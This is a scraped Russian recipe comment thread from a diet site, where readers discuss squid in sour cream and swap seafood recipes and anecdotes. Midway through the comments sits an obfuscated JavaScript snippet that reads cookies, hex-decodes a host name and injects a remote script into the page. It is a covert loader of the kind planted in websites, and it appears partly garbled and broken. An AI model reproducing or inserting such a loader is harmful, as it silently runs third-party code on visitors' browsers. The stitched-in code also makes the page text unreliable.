Lyubasha Maximenko
23.07.2015 17:57

Кальмар в сметане

 20 
 69
svetlana 23.07.2015 18:51
Надо попробовать .спасибо
Lyubasha Maximenko 23.07.2015 18:53
svetlana, всегда пожалуйста, надеюсь понравится. если калории не особо принципиальны, обваляйте нашинкованный кальмар в муке и обжарьте с луком))такая няма получится, объедение))) я просто пока не могу себе такое позволить)))
svetlana 23.07.2015 19:01
Lyubasha Maximenko, обжренные кальмары делаю часто,муж любит,а вот со сметаной не делала.
Lyubasha Maximenko 23.07.2015 19:05
svetlana, ну вот в жареные потом сметанку и вкусняшка готова)))
Юлия Lysa 23.07.2015 19:09
А еще туда мидии (праям не размороженные) и грибы припустить вместе с луком, мммм....
Lyubasha Maximenko 23.07.2015 19:11
Юлия Lysa, клёво))) ждём от вас подробный рецептик с фоткой))))
Юлия Lysa 23.07.2015 19:13
Рецепта как такового нет, все на глаз, да и делала очень давно, вот о Ваших кальмарах прочитала и в голове всплыла информация. 
Lyubasha Maximenko 23.07.2015 19:15
Юлия Lysa, так и у меня многие рецепты из головы, только завешиваю продукты и описываю процесс)))
Юлия Lysa 23.07.2015 19:18
Вот этом с мидиями из той же серии - покупаю морепродукты, которые вижу, кальмар отвариваю, все остальное просто размораживаю ( классно конечно, если свежее, но не в нашей зоне, приходится довольствоваться заморозкой), пока припускается лук с грибами, режу отваренный кальмар, его на сковородку, туда сметаны и тудаже все замороженные морепродукты, и теперь главное не переварить - все, весь рецепт.
Lyubasha Maximenko 23.07.2015 19:28
Юлия Lysa, надо будет попробовать. как раз грибы есть))) хотя у меня тоже вся морепродукция - заморозка)))
Мария 24.07.2015 02:13
Спасибо, очень любопытный рецепт! утаскиваю))
Lyubasha Maximenko 24.07.2015 04:54
Мария Шмалько, и вам спасибо)))) Надеюсь понравится)))
Татьяна 25.07.2015 10:57
я это делала. вышла совершенная  гадость.  на вкус  - резина в сметанном соусе.
Анна 25.07.2015 11:11
Татьяна Колесниченко, да, мне что-то тоже не понравилось это блюдо
Irina ZH 25.07.2015 14:23
вкуснятина
ЛанаСвет Живая 25.07.2015 15:15
Надо попробовать 
Ирина 25.07.2015 16:23
Обязательно попробуем!
Ольга 25.07.2015 16:40
Спасибо за рецепт!
jenia-80 25.07.2015 16:44
А я вот горжусь теми, кто ест кальмары. Они ведь очень полезные. А у меня с детства какой-то барьер, не могу сломать себя! Я их глазами хочу, когда вижу, как кто-то приготовил, а пробовать даже боюсь. Это после неудачной попытки попробовать салат с кальмарами в гостях. Чуть людям праздник не испортила, думала вырвет прям за столом. Очень буду благодарна, если кто-нибудь выложит какой-нибудь архи-вкусный рецептик с кальмарами.
Lyubasha Maximenko 25.07.2015 17:18
Татьяна Колесниченко, Анна конечно же это не универсальное блюдо, которое и получается и тем более нравится))) Зато теперь вы точно знаете, что ЭТО не ваше))) 
Lyubasha Maximenko 25.07.2015 17:19
Ирина Жигайло, согласна)))
Наталия Медина 25.07.2015 21:06
Спасибо за "наводку".) Очень люблю кальмаров и, говорят, хороши для диеты)
Lyubasha Maximenko 26.07.2015 07:51
Наталия Медина, пожалуйста))) Да, они малокалорийны и это сплошной белок))
Ирина 26.07.2015 09:23
Есть еще один простой и замечательный рецепт из морепродуктов. Гребешки припустить в небольшом количестве воды. Отдельно добавить обжаренные морковку и лук. Красота. Готовится очень быстро. Думаю, что и по калориям будет  совсем немного. Но осторожно. Очень вкусно, а переедать нельзя. Кто живет у моря, знает что с белковым отравлением шутки плохи!
Таня 26.07.2015 10:17
Вкусно! Тоже вчера делала, отварила пару минут с лаврушей и перцем) Только вместо лука два зубчика чеснока мелко и петрушка с укропом - вкусно очень!
Спасибо за рецепт, попробую с луком сделать.
Р.С. другой раз куплю чищеные 
Lyubasha Maximenko 26.07.2015 10:51
Ирина Петрова, спасибо, надо посмотреть у нас гребешки. но всё это мороженое, какое то... не такое мне кажется(((
Lyubasha Maximenko 26.07.2015 10:52
ТаняТаня, по мнению некоторых моих знакомых Нечищенные вкуснее)) сама ни разу чищенные не покупала, сравнить НЕ с чем)))) 
Лана Кулакова 26.07.2015 16:44
Хороший рецепт, а главное простой. Кальмары покупаю редко, т.к. мало знаю рецептов из него. Этот рецепт понравился, обязательно сохраню его и приготовлю.
Lyubasha Maximenko 26.07.2015 16:45
Лана Кулакова, очень надеюсь, что Вам понравится)) он кстати намного вкуснее, когда охлажденный)))
ЕЛЕНА СИБИЛЬ 26.07.2015 20:36
какой рецепт интересный,обязательно попробую а то кальмары только в салатах,копченые да вареные пробовала.
все думала чего так мало калорий. сметана 10%. думаю своей 15% поменьше положу. спасибо за идею.
Елена Иванова 27.07.2015 02:33
унесла, спасибо
Lyubasha Maximenko 27.07.2015 07:06
ЕЛЕНА СИБИЛЬ, надеюсь понравится)))))
Lyubasha Maximenko 27.07.2015 07:08
Олеся, думаю от 15% не сильно калорий прибавится, вы же не кастрюлю целую готовите))))
Lyubasha Maximenko 27.07.2015 07:08
Елена Иванова, Всегда пожалуйста)))
Lyubasha Maximenko, обычно кастрюлю...большую. потом раскладываю по порциям и морожу.
Lyubasha Maximenko 27.07.2015 12:12
Олеся, ой...а зачем? просто я морожу только самодельные п/ф, предпочитаю готовить свеженькое. простите, если что не так...
У меня всё очень просто с кальмарами. Почистить. Сунуть на сковороду с небольшим количеством растительного масла. Дождаться, пока станет золотистым. Ням-ням.

Ирина Петрова написал:
с белковым отравлением шутки плохи!


Это точно. Когда-то я жила у моря. Рядом была приёмная база рыбофабрики. Однажды они кому-то отказали принять морского гребешка - некуда было уже. И те сбросили груз в 100 метрах от нашего дома. Гребешки разбежались по всей отмели. Мой муж ходил с сачком в болотниках и отлавливал их. У нас дома стояли вёдрами эти гребешки. Мы их на скорую руку отварили и заморозили. Я за один раз съела штук 15. Потом было так плохо! И эти гребешки уже ничего, кроме тошноты, не вызывали. Я их в уху для густоты добавляла.
Lyubasha Maximenko 27.07.2015 12:55
Натка 27.07.2015 13:21
прикольно!
Ирина 27.07.2015 14:05
Lyubasha Maximenko, конечно, настоящии морские гребешки - деликатес. Но я сама обычные мороженные покупаю. Честное слово, разница небольшая. А вот с кальмаром - согласна. Только выловленный - это что-то!
Ирина 27.07.2015 14:22
Вспомнила еще один рецепт. Когда0то у нас был очень популярным рецепт тушенного кальмара. Давно не делала. Но кажется так. На дно кастрюли чуть-чуть воды. Когда закипит бросам мелко нарезанный кальмар , заправляем парой ложек майонеза и тушим. Кальмар приобретает характерный розовато-кремовый цвет. Соль и перец по вкусу. Калори не считала. Вернусь из отпуска, сделаю. Результаты доложу. Кто готов к эксперименту - не ждите. Кальмар получается просто необыкновенный!
Lyubasha Maximenko, потому что готовить в будни времени нет.
Lyubasha Maximenko 27.07.2015 14:34
Ирина Петрова, я вас подожду))))
Lyubasha Maximenko 27.07.2015 14:35
Олеся, понятно. Жаль конечно, что Вам так приходится питаться. вроде и домашнее, но уже не свежее.
Илона Добриян 27.07.2015 14:38
Ирина Петрова, из-за ложки майонеза ничего страшного не случиться,особенно если сметанкой развести,так что можно смело готовить!  

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Ирина 27.07.2015 14:58
Lyubasha Maximenko, договорились! Я думаю, что к моему приезду У Вас масса новых рецептиков появится 
Lyubasha Maximenko 27.07.2015 15:12
Ирина Петрова, это вряд ли)))) сейчас салаты фрукты в основном, ничего не охота готовить))
Ирина 28.07.2015 01:57
Lyubasha Maximenko, а салатики из фруктов - тоже ВЕЩЬ! 
Lyubasha Maximenko 28.07.2015 05:36
Ирина Петрова, ахахах)) это я без запятой написала))) хотя фруктовые иногда делаю)))
Thim 30.07.2015 00:46
Спасибо за рецепт, завтра приготовлю, как раз в морозилке кальмар лежит.
Яна Бальон 30.07.2015 01:20
Lyubasha Maximenko 30.07.2015 05:06
Thim, всегда пожалуйста)))
женя клименко 30.07.2015 05:28
надо попробовать)
Lyubasha Maximenko 30.07.2015 05:34
женя клименко, удачи и приятного аппетита)))
Дарья 30.07.2015 07:14
Вкусненько.Тоже сделаю.Спасибо, что напомнили.
Lyubasha Maximenko 30.07.2015 09:01
Дарья Белка, )))))))))))) пожалуйста)))
Наташа Шубина 30.07.2015 10:21
Рецепт понравился, обязательно попробую.
Lyubasha Maximenko 30.07.2015 12:08
Наташа Шубина 30.07.2015 13:02
Lyubasha Maximenko, Спасибо!
Обязательно нужно попробовать.
Lyubasha Maximenko 19.09.2015 16:21
Дмитрий ЛеонидовичДмитрий Леонидович, удачи и приятного аппетита)))
Ирина 19.09.2015 16:35
Очень вкусно, я так тоже делаю!
Lyubasha Maximenko 19.09.2015 16:39
ИринаИрина, спасибо)))) но как я поняла - на любителя такая вкусняшка)))
Дарья 19.09.2015 16:53
у них исчезнет резиновый вкус?
Lyubasha Maximenko 19.09.2015 16:58
Дарья, они изначально не имеют резинового вкуса. не нужно долго их томить/тушить/варить. вот и весь секрет))) у меня максимально 2 минуты.1 минуту варила + 1 минута довела сметану до кипения. сразу снимаем.
Дарья 19.09.2015 17:00
Lyubasha Maximenko, похоже, от вкуса зависит
елена д 19.09.2015 17:08
Люблю кальмар в любом виде, даже просто отваренный. Уще он хорошо сочетается с яйцом и сыром.
Lyubasha Maximenko 19.09.2015 17:30
елена делена д, да-да, кальмар с яйцом то классика)))
Новые рецепты
Интересные блоги
Лучшие рационы